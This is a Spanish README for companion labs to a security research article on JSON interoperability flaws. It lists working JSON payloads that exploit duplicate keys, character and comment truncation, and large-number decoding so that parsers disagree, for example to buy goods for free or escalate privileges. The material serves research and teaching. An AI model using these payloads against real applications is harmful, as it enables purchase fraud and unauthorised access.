
Laboratorios complementarios de "Una exploración de las vulnerabilidades de interoperabilidad JSON"
Estos son los laboratorios complementarios a mi artículo de investigación "An Exploration of JSON Interoperability Vulnerabilities".
Laboratorio 1: Compras gratuitas en una aplicación de comercio electrónico
Laboratorio 2: Escalada de privilegios en una aplicación multiinquilino
Estos laboratorios se vinculan a los puertos 5000-5004 del host, por defecto.
Precedencia inconsistente de claves duplicadas
{"qty": 1, "qty": -1}
Truncamiento de caracteres
Truncamiento en analizadores con precedencia de la última clave (invierta el orden para precedencia de la primera clave)
{"qty": 1, "qty\<raw \x0d byte here>": -1}
{"qty": 1, "qty\ud800": -1} # Any unpaired surrogate U+D800-U+DFFF
{"qty": 1, "qty"": -1}
{"qty": 1, "qt\y": -1}
Truncamiento de comentarios
Estos documentos aprovechan el soporte inconsistente de comentarios y el soporte de cadenas sin comillas:
{"qty": 1, "extra": 1/*, "qty": -1, "extra2": 2*/}
{"qty": 1, "extra": a/*, "qty": -1, "extra2": b*/}
{"qty": 1, "extra": "a/*", "qty": -1, "extra2": "b"*/}
{"qty": 1, "extra": "a"//, "qty": -1}
Decodificación inconsistente de números grandes
Estos valores numéricos grandes pueden convertirse en cadenas (Strings) (p. ej., "+Infinity"), lo que puede dar lugar a vulnerabilidades de manipulación de tipos (type juggling). O pueden convertirse en MAX_INT/MIN_INT, valores redondeados o 0, lo que podría permitir eludir la lógica de negocio.
{"qty": 999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999}
{"qty": -999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999}
{"qty": 1.0e4096}
{"qty": -1.0e4096}
Twitter: @theBumbleSec
GitHub: the-bumble